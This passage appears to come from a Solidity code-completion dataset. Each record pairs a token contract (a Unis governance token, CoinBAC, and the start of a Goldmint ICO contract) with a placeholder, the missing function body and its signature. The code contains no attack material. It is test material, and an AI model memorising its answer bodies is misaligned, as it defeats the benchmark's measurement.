_transferTokens(msg.sender, dst, amount); return true; } function transferFrom(address src, address dst, uint rawAmount) external returns (bool) { address spender = msg.sender; uint96 spenderAllowance = allowances[src][spender]; uint96 amount = safe96(rawAmount, "Unis::approve: amount exceeds 96 bits"); if (spender != src && spenderAllowance != uint96(-1)) { uint96 newAllowance = sub96(spenderAllowance, amount, "Unis::transferFrom: transfer amount exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } function delegate(address delegatee) public { return _delegate(msg.sender, delegatee); } function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "Unis::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "Unis::delegateBySig: invalid nonce"); require(now <= expiry, "Unis::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } function getCurrentVotes(address account) external view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } function getPriorVotes(address account, uint blockNumber) public view returns (uint96) { require(blockNumber < block.number, "Unis::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; uint96 delegatorBalance = balances[delegator]; delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _transferTokens(address src, address dst, uint96 amount) internal { require(src != address(0), "Unis::_transferTokens: cannot transfer from the zero address"); require(dst != address(0), "Unis::_transferTokens: cannot transfer to the zero address"); balances[src] = sub96(balances[src], amount, "Unis::_transferTokens: transfer amount exceeds balance"); balances[dst] = add96(balances[dst], amount, "Unis::_transferTokens: transfer amount overflows"); emit Transfer(src, dst, amount); _moveDelegates(delegates[src], delegates[dst], amount); } function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96(srcRepOld, amount, "Unis::_moveVotes: vote amount underflows"); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96(dstRepOld, amount, "Unis::_moveVotes: vote amount overflows"); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal { uint32 blockNumber = safe32(block.number, "Unis::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe96(uint n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } }
contract Unis { /// @notice EIP-20 token name for this token string public constant name = "UniSlurm"; /// @notice EIP-20 token symbol for this token string public constant symbol = "UNIS"; /// @notice EIP-20 token decimals for this token uint8 public constant decimals = 18; /// @notice Total number of tokens in circulation uint public totalSupply = 1_000_000_000e18; // 1 billion UNIS /// @notice Address which may mint new tokens address public minter; /// @notice The timestamp after which minting may occur uint public mintingAllowedAfter; /// @notice Minimum time between mints uint32 public constant minimumTimeBetweenMints = 1 days * 365; /// @notice Cap on the percentage of totalSupply that can be minted at each mint uint8 public constant mintCap = 2; /// @notice Allowance amounts on behalf of others mapping (address => mapping (address => uint96)) internal allowances; /// @notice Official record of token balances for each account mapping (address => uint96) internal balances; /// @notice A record of each accounts delegate mapping (address => address) public delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint96 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice The EIP-712 typehash for the permit struct used by the contract bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when the minter address is changed event MinterChanged(address minter, address newMinter); /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint256 amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint256 amount); constructor(address account, address minter_, uint mintingAllowedAfter_) public { require(mintingAllowedAfter_ >= block.timestamp, "Unis::constructor: minting can only begin after deployment"); balances[account] = uint96(totalSupply); emit Transfer(address(0), account, totalSupply); minter = minter_; emit MinterChanged(address(0), minter); mintingAllowedAfter = mintingAllowedAfter_; } function setMinter(address minter_) external { require(msg.sender == minter, "Unis::setMinter: only the minter can change the minter address"); emit MinterChanged(minter, minter_); minter = minter_; } function mint(address dst, uint rawAmount) external { require(msg.sender == minter, "Unis::mint: only the minter can mint"); require(block.timestamp >= mintingAllowedAfter, "Unis::mint: minting not allowed yet"); require(dst != address(0), "Unis::mint: cannot transfer to the zero address"); mintingAllowedAfter = SafeMath.add(block.timestamp, minimumTimeBetweenMints); uint96 amount = safe96(rawAmount, "Unis::mint: amount exceeds 96 bits"); require(amount <= SafeMath.div(SafeMath.mul(totalSupply, mintCap), 100), "Unis::mint: exceeded mint cap"); totalSupply = safe96(SafeMath.add(totalSupply, amount), "Unis::mint: totalSupply exceeds 96 bits"); balances[dst] = add96(balances[dst], amount, "Unis::mint: transfer amount overflows"); emit Transfer(address(0), dst, amount); _moveDelegates(address(0), delegates[dst], amount); } function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } function approve(address spender, uint rawAmount) external returns (bool) { uint96 amount; if (rawAmount == uint(-1)) { amount = uint96(-1); } else { amount = safe96(rawAmount, "Unis::approve: amount exceeds 96 bits"); } allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } <FILL_FUNCTION> function balanceOf(address account) external view returns (uint) { return balances[account]; } function transfer(address dst, uint rawAmount) external returns (bool) { uint96 amount = safe96(rawAmount, "Unis::transfer: amount exceeds 96 bits"); _transferTokens(msg.sender, dst, amount); return true; } function transferFrom(address src, address dst, uint rawAmount) external returns (bool) { address spender = msg.sender; uint96 spenderAllowance = allowances[src][spender]; uint96 amount = safe96(rawAmount, "Unis::approve: amount exceeds 96 bits"); if (spender != src && spenderAllowance != uint96(-1)) { uint96 newAllowance = sub96(spenderAllowance, amount, "Unis::transferFrom: transfer amount exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } function delegate(address delegatee) public { return _delegate(msg.sender, delegatee); } function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "Unis::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "Unis::delegateBySig: invalid nonce"); require(now <= expiry, "Unis::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } function getCurrentVotes(address account) external view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } function getPriorVotes(address account, uint blockNumber) public view returns (uint96) { require(blockNumber < block.number, "Unis::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; uint96 delegatorBalance = balances[delegator]; delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _transferTokens(address src, address dst, uint96 amount) internal { require(src != address(0), "Unis::_transferTokens: cannot transfer from the zero address"); require(dst != address(0), "Unis::_transferTokens: cannot transfer to the zero address"); balances[src] = sub96(balances[src], amount, "Unis::_transferTokens: transfer amount exceeds balance"); balances[dst] = add96(balances[dst], amount, "Unis::_transferTokens: transfer amount overflows"); emit Transfer(src, dst, amount); _moveDelegates(delegates[src], delegates[dst], amount); } function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96(srcRepOld, amount, "Unis::_moveVotes: vote amount underflows"); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96(dstRepOld, amount, "Unis::_moveVotes: vote amount overflows"); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal { uint32 blockNumber = safe32(block.number, "Unis::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe96(uint n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } }
uint96 amount; if (rawAmount == uint(-1)) { amount = uint96(-1); } else { amount = safe96(rawAmount, "Unis::permit: amount exceeds 96 bits"); } bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, rawAmount, nonces[owner]++, deadline)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "Unis::permit: invalid signature"); require(signatory == owner, "Unis::permit: unauthorized"); require(now <= deadline, "Unis::permit: signature expired"); allowances[owner][spender] = amount; emit Approval(owner, spender, amount);
function permit(address owner, address spender, uint rawAmount, uint deadline, uint8 v, bytes32 r, bytes32 s) external
function permit(address owner, address spender, uint rawAmount, uint deadline, uint8 v, bytes32 r, bytes32 s) external
67322
CoinBAC
disableFreezeAccounts
contract CoinBAC is AbstractToken { /** * Maximum allowed number of tokens in circulation. * tokenSupply = tokensIActuallyWant * (10 ^ decimals) */ uint256 constant MAX_TOKEN_COUNT = 1000000000 * (10 ** 8); /** * Address of the owner of this smart contract. */ address private owner; /** * Frozen account list holder */ mapping(address => bool) private frozenAccount; /** * Burning account list holder */ mapping(address => bool) private burningAccount; /** * Current number of tokens in circulation. */ uint256 tokenCount = 0; /** * True if tokens transfers are currently frozen, false otherwise. */ bool public frozen = false; /** * Can owner burn tokens */ bool public enabledBurning = true; /** * Can owner create new tokens */ bool public enabledCreateTokens = true; /** * Can owner freeze any account */ bool public enabledFreezeAccounts = true; /** * Can owner freeze transfers */ bool public enabledFreezeTransfers = true; /** * Address of new token if token was migrated. */ address public migratedToAddress; /** * Create new token smart contract and make msg.sender the * owner of this smart contract. */ constructor() { owner = msg.sender; } /** * Get total number of tokens in circulation. * * @return total number of tokens in circulation */ function totalSupply() constant returns (uint256 supply) { return tokenCount; } string constant public name = "Coin BAC"; string constant public symbol = "BAC"; uint8 constant public decimals = 8; /** * Transfer given number of tokens from message sender to given recipient. * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer to the owner of given address * @return true if tokens were transferred successfully, false otherwise */ function transfer(address _to, uint256 _value) returns (bool success) { require(!frozenAccount[msg.sender]); if (frozen) return false; else return AbstractToken.transfer(_to, _value); } /** * Transfer given number of tokens from given owner to given recipient. * * @param _from address to transfer tokens from the owner of * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer from given owner to given * recipient * @return true if tokens were transferred successfully, false otherwise */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(!frozenAccount[_from]); if (frozen) return false; else return AbstractToken.transferFrom(_from, _to, _value); } /** * Change how many tokens given spender is allowed to transfer from message * spender. In order to prevent double spending of allowance, * To change the approve amount you first have to reduce the addresses` * allowance to zero by calling `approve(_spender, 0)` if it is not * already 0 to mitigate the race condition described here: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender address to allow the owner of to transfer tokens from * message sender * @param _value number of tokens to allow to transfer * @return true if token transfer was successfully approved, false otherwise */ function approve(address _spender, uint256 _value) returns (bool success) { require(allowance(msg.sender, _spender) == 0 || _value == 0); return AbstractToken.approve(_spender, _value); } /** * Create _value new tokens and give new created tokens to msg.sender. * Only be called by smart contract owner. * * @param _value number of tokens to create * @return true if tokens were created successfully, false otherwise */ function createTokens(uint256 _value) returns (bool success) { require(msg.sender == owner); require(enabledCreateTokens); if (_value > 0) { if (_value > safeSub(MAX_TOKEN_COUNT, tokenCount)) return false; accounts[msg.sender] = safeAdd(accounts[msg.sender], _value); tokenCount = safeAdd(tokenCount, _value); // adding transfer event and _from address as null address emit Transfer(0x0, msg.sender, _value); return true; } return false; } /** * Burning capable account * Only be called by smart contract owner. */ function burningCapableAccount(address[] _target) { require(msg.sender == owner); require(enabledBurning); for (uint i = 0; i < _target.length; i++) { burningAccount[_target[i]] = true; } } /** * Burn intended tokens. * Only be called by by burnable addresses. * * @param _value number of tokens to burn * @return true if burnt successfully, false otherwise */ function burn(uint256 _value) public returns (bool success) { require(accounts[msg.sender] >= _value); require(burningAccount[msg.sender]); require(enabledBurning); accounts[msg.sender] = safeSub(accounts[msg.sender], _value); tokenCount = safeSub(tokenCount, _value); emit Burn(msg.sender, _value); return true; } /** * Set new owner for the smart contract. * Only be called by smart contract owner. * * @param _newOwner address of new owner of the smart contract */ function setOwner(address _newOwner) { require(msg.sender == owner); owner = _newOwner; } /** * Freeze ALL token transfers. * Only be called by smart contract owner. */ function freezeTransfers() { require(msg.sender == owner); require(enabledFreezeTransfers); if (!frozen) { frozen = true; emit Freeze(); } } /** * Unfreeze ALL token transfers. * Only be called by smart contract owner. */ function unfreezeTransfers() { require(msg.sender == owner); require(migratedToAddress == address(0x0)); if (frozen) { frozen = false; emit Unfreeze(); } } /*A user is able to unintentionally send tokens to a contract * and if the contract is not prepared to refund them they will get stuck in the contract. * The same issue used to happen for Ether too but new Solidity versions added the payable modifier to * prevent unintended Ether transfers. However, there’s no such mechanism for token transfers. * so the below function is created */ function refundTokens(address _token, address _refund, uint256 _value) { require(msg.sender == owner); require(_token != address(this)); AbstractToken token = AbstractToken(_token); token.transfer(_refund, _value); emit RefundTokens(_token, _refund, _value); } /** * Freeze specific account. * Only be called by smart contract owner. */ function freezeAccount(address _target, bool freeze) { require(msg.sender == owner); require(msg.sender != _target); require(enabledFreezeAccounts); frozenAccount[_target] = freeze; emit FrozenFunds(_target, freeze); } /** * Disable burning tokens feature forever. * Only be called by smart contract owner. */ function disableBurning() { require(msg.sender == owner); if (enabledBurning) { enabledBurning = false; emit DisabledBurning(); } } /** * Disable create tokens feature forever. * Only be called by smart contract owner. */ function disableCreateTokens() { require(msg.sender == owner); if (enabledCreateTokens) { enabledCreateTokens = false; emit DisabledCreateTokens(); } } /** * Disable freeze accounts feature forever. * Only be called by smart contract owner. */ function disableFreezeAccounts() {<FILL_FUNCTION_BODY> } /** * Disable freeze transfers feature forever. * Only be called by smart contract owner. */ function disableFreezeTransfers() { require(msg.sender == owner); if (enabledFreezeTransfers) { enabledFreezeTransfers = false; emit DisabledFreezeTransfers(); } } /** * Mark this contract as migrated to the new one. * It also freezes transafers. */ function migrateTo(address token) { require(msg.sender == owner); require(migratedToAddress == address(0x0)); require(token != address(0x0)); migratedToAddress = token; frozen = true; } /** * Logged when token transfers were frozen. */ event Freeze (); /** * Logged when token transfers were unfrozen. */ event Unfreeze (); /** * Logged when a particular account is frozen. */ event FrozenFunds(address target, bool frozen); /** * Logged when a token is burnt. */ event Burn(address target, uint256 _value); /** * Logged once when burning feature was disabled. */ event DisabledBurning (); /** * Logged once when create tokens feature was disabled. */ event DisabledCreateTokens (); /** * Logged once when freeze accounts feature was disabled. */ event DisabledFreezeAccounts (); /** * Logged once when freeze transfers feature was disabled. */ event DisabledFreezeTransfers (); /** * when accidentally send other tokens are refunded */ event RefundTokens(address _token, address _refund, uint256 _value); }
contract CoinBAC is AbstractToken { /** * Maximum allowed number of tokens in circulation. * tokenSupply = tokensIActuallyWant * (10 ^ decimals) */ uint256 constant MAX_TOKEN_COUNT = 1000000000 * (10 ** 8); /** * Address of the owner of this smart contract. */ address private owner; /** * Frozen account list holder */ mapping(address => bool) private frozenAccount; /** * Burning account list holder */ mapping(address => bool) private burningAccount; /** * Current number of tokens in circulation. */ uint256 tokenCount = 0; /** * True if tokens transfers are currently frozen, false otherwise. */ bool public frozen = false; /** * Can owner burn tokens */ bool public enabledBurning = true; /** * Can owner create new tokens */ bool public enabledCreateTokens = true; /** * Can owner freeze any account */ bool public enabledFreezeAccounts = true; /** * Can owner freeze transfers */ bool public enabledFreezeTransfers = true; /** * Address of new token if token was migrated. */ address public migratedToAddress; /** * Create new token smart contract and make msg.sender the * owner of this smart contract. */ constructor() { owner = msg.sender; } /** * Get total number of tokens in circulation. * * @return total number of tokens in circulation */ function totalSupply() constant returns (uint256 supply) { return tokenCount; } string constant public name = "Coin BAC"; string constant public symbol = "BAC"; uint8 constant public decimals = 8; /** * Transfer given number of tokens from message sender to given recipient. * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer to the owner of given address * @return true if tokens were transferred successfully, false otherwise */ function transfer(address _to, uint256 _value) returns (bool success) { require(!frozenAccount[msg.sender]); if (frozen) return false; else return AbstractToken.transfer(_to, _value); } /** * Transfer given number of tokens from given owner to given recipient. * * @param _from address to transfer tokens from the owner of * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer from given owner to given * recipient * @return true if tokens were transferred successfully, false otherwise */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(!frozenAccount[_from]); if (frozen) return false; else return AbstractToken.transferFrom(_from, _to, _value); } /** * Change how many tokens given spender is allowed to transfer from message * spender. In order to prevent double spending of allowance, * To change the approve amount you first have to reduce the addresses` * allowance to zero by calling `approve(_spender, 0)` if it is not * already 0 to mitigate the race condition described here: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender address to allow the owner of to transfer tokens from * message sender * @param _value number of tokens to allow to transfer * @return true if token transfer was successfully approved, false otherwise */ function approve(address _spender, uint256 _value) returns (bool success) { require(allowance(msg.sender, _spender) == 0 || _value == 0); return AbstractToken.approve(_spender, _value); } /** * Create _value new tokens and give new created tokens to msg.sender. * Only be called by smart contract owner. * * @param _value number of tokens to create * @return true if tokens were created successfully, false otherwise */ function createTokens(uint256 _value) returns (bool success) { require(msg.sender == owner); require(enabledCreateTokens); if (_value > 0) { if (_value > safeSub(MAX_TOKEN_COUNT, tokenCount)) return false; accounts[msg.sender] = safeAdd(accounts[msg.sender], _value); tokenCount = safeAdd(tokenCount, _value); // adding transfer event and _from address as null address emit Transfer(0x0, msg.sender, _value); return true; } return false; } /** * Burning capable account * Only be called by smart contract owner. */ function burningCapableAccount(address[] _target) { require(msg.sender == owner); require(enabledBurning); for (uint i = 0; i < _target.length; i++) { burningAccount[_target[i]] = true; } } /** * Burn intended tokens. * Only be called by by burnable addresses. * * @param _value number of tokens to burn * @return true if burnt successfully, false otherwise */ function burn(uint256 _value) public returns (bool success) { require(accounts[msg.sender] >= _value); require(burningAccount[msg.sender]); require(enabledBurning); accounts[msg.sender] = safeSub(accounts[msg.sender], _value); tokenCount = safeSub(tokenCount, _value); emit Burn(msg.sender, _value); return true; } /** * Set new owner for the smart contract. * Only be called by smart contract owner. * * @param _newOwner address of new owner of the smart contract */ function setOwner(address _newOwner) { require(msg.sender == owner); owner = _newOwner; } /** * Freeze ALL token transfers. * Only be called by smart contract owner. */ function freezeTransfers() { require(msg.sender == owner); require(enabledFreezeTransfers); if (!frozen) { frozen = true; emit Freeze(); } } /** * Unfreeze ALL token transfers. * Only be called by smart contract owner. */ function unfreezeTransfers() { require(msg.sender == owner); require(migratedToAddress == address(0x0)); if (frozen) { frozen = false; emit Unfreeze(); } } /*A user is able to unintentionally send tokens to a contract * and if the contract is not prepared to refund them they will get stuck in the contract. * The same issue used to happen for Ether too but new Solidity versions added the payable modifier to * prevent unintended Ether transfers. However, there’s no such mechanism for token transfers. * so the below function is created */ function refundTokens(address _token, address _refund, uint256 _value) { require(msg.sender == owner); require(_token != address(this)); AbstractToken token = AbstractToken(_token); token.transfer(_refund, _value); emit RefundTokens(_token, _refund, _value); } /** * Freeze specific account. * Only be called by smart contract owner. */ function freezeAccount(address _target, bool freeze) { require(msg.sender == owner); require(msg.sender != _target); require(enabledFreezeAccounts); frozenAccount[_target] = freeze; emit FrozenFunds(_target, freeze); } /** * Disable burning tokens feature forever. * Only be called by smart contract owner. */ function disableBurning() { require(msg.sender == owner); if (enabledBurning) { enabledBurning = false; emit DisabledBurning(); } } /** * Disable create tokens feature forever. * Only be called by smart contract owner. */ function disableCreateTokens() { require(msg.sender == owner); if (enabledCreateTokens) { enabledCreateTokens = false; emit DisabledCreateTokens(); } } <FILL_FUNCTION> /** * Disable freeze transfers feature forever. * Only be called by smart contract owner. */ function disableFreezeTransfers() { require(msg.sender == owner); if (enabledFreezeTransfers) { enabledFreezeTransfers = false; emit DisabledFreezeTransfers(); } } /** * Mark this contract as migrated to the new one. * It also freezes transafers. */ function migrateTo(address token) { require(msg.sender == owner); require(migratedToAddress == address(0x0)); require(token != address(0x0)); migratedToAddress = token; frozen = true; } /** * Logged when token transfers were frozen. */ event Freeze (); /** * Logged when token transfers were unfrozen. */ event Unfreeze (); /** * Logged when a particular account is frozen. */ event FrozenFunds(address target, bool frozen); /** * Logged when a token is burnt. */ event Burn(address target, uint256 _value); /** * Logged once when burning feature was disabled. */ event DisabledBurning (); /** * Logged once when create tokens feature was disabled. */ event DisabledCreateTokens (); /** * Logged once when freeze accounts feature was disabled. */ event DisabledFreezeAccounts (); /** * Logged once when freeze transfers feature was disabled. */ event DisabledFreezeTransfers (); /** * when accidentally send other tokens are refunded */ event RefundTokens(address _token, address _refund, uint256 _value); }
require(msg.sender == owner); if (enabledFreezeAccounts) { enabledFreezeAccounts = false; emit DisabledFreezeAccounts(); }
function disableFreezeAccounts()
/** * Disable freeze accounts feature forever. * Only be called by smart contract owner. */ function disableFreezeAccounts()
3522
Goldmint
issueTokensExternal
contract Goldmint is SafeMath { // Constants: // These values are HARD CODED!!! // For extra security we split single multisig wallet into 10 separate multisig wallets // // THIS IS A REAL ICO WALLETS!!! // PLEASE DOUBLE CHECK THAT... address[] public multisigs = [ 0xcEc42E247097C276Ad3D7cFd270aDBd562dA5c61, 0x373C46c544662B8C5D55c24Cf4F9a5020163eC2f, 0x672CF829272339A6c8c11b14Acc5F9d07bAFAC7c, 0xce0e1981A19a57aE808a7575a6738e4527fB9118, 0x93Aa76cdb17EeA80e4De983108ef575D8fc8f12b, 0x20ae3329Cd1e35FEfF7115B46218c9D056d430Fd, 0xe9fC1A57a5dC1CaA3DE22A940E9F09e640615f7E, 0xD360433950DE9F6FA0e93C29425845EeD6BFA0d0, 0xF0De97EAff5D6c998c80e07746c81a336e1BBd43, 0x80b365da1C18f4aa1ecFa0dFA07Ed4417B05Cc69 ]; // We count ETH invested by person, for refunds (see below) mapping(address => uint) ethInvestedBy; uint collectedWei = 0; // These can be changed before ICO starts ($7USD/MNTP) uint constant STD_PRICE_USD_PER_1000_TOKENS = 7000; // The USD/ETH exchange rate may be changed every hour and can vary from $100 to $700 depending on the market. The exchange rate is retrieved from coinmarketcap.com site and is rounded to $1 dollar. For example if current marketcap price is $306.123 per ETH, the price is set as $306 to the contract. uint public usdPerEthCoinmarketcapRate = 300; uint64 public lastUsdPerEthChangeDate = 0; // Price changes from block to block uint constant SINGLE_BLOCK_LEN = 700000; // 1 000 000 tokens uint public constant BONUS_REWARD = 1000000 * 1 ether; // 2 000 000 tokens uint public constant FOUNDERS_REWARD = 2000000 * 1 ether; // 7 000 000 is sold during the ICO uint public constant ICO_TOKEN_SUPPLY_LIMIT = 7000000 * 1 ether; // 150 000 tokens soft cap (otherwise - refund) uint public constant ICO_TOKEN_SOFT_CAP = 150000 * 1 ether; // 3 000 000 can be issued from other currencies uint public constant MAX_ISSUED_FROM_OTHER_CURRENCIES = 3000000 * 1 ether; // 30 000 MNTP tokens per one call only uint public constant MAX_SINGLE_ISSUED_FROM_OTHER_CURRENCIES = 30000 * 1 ether; uint public issuedFromOtherCurrencies = 0; // Fields: address public creator = 0x0; // can not be changed after deploy address public ethRateChanger = 0x0; // can not be changed after deploy address public tokenManager = 0x0; // can be changed by token manager only address public otherCurrenciesChecker = 0x0; // can not be changed after deploy uint64 public icoStartedTime = 0; MNTP public mntToken; GoldmintUnsold public unsoldContract; // Total amount of tokens sold during ICO uint public icoTokensSold = 0; // Total amount of tokens sent to GoldmintUnsold contract after ICO is finished uint public icoTokensUnsold = 0; // Total number of tokens that were issued by a scripts uint public issuedExternallyTokens = 0; // This is where FOUNDERS_REWARD will be allocated address public foundersRewardsAccount = 0x0; enum State{ Init, ICORunning, ICOPaused, // Collected ETH is transferred to multisigs. // Unsold tokens transferred to GoldmintUnsold contract. ICOFinished, // We start to refund if Soft Cap is not reached. // Then each token holder should request a refund personally from his // personal wallet. // // We will return ETHs only to the original address. If your address is changed // or you have lost your keys -> you will not be able to get a refund. // // There is no any possibility to transfer tokens // There is no any possibility to move back Refunding, // In this state we lock all MNT tokens forever. // We are going to migrate MNTP -> MNT tokens during this stage. // // There is no any possibility to transfer tokens // There is no any possibility to move back Migrating } State public currentState = State.Init; // Modifiers: modifier onlyCreator() { require(msg.sender==creator); _; } modifier onlyTokenManager() { require(msg.sender==tokenManager); _; } modifier onlyOtherCurrenciesChecker() { require(msg.sender==otherCurrenciesChecker); _; } modifier 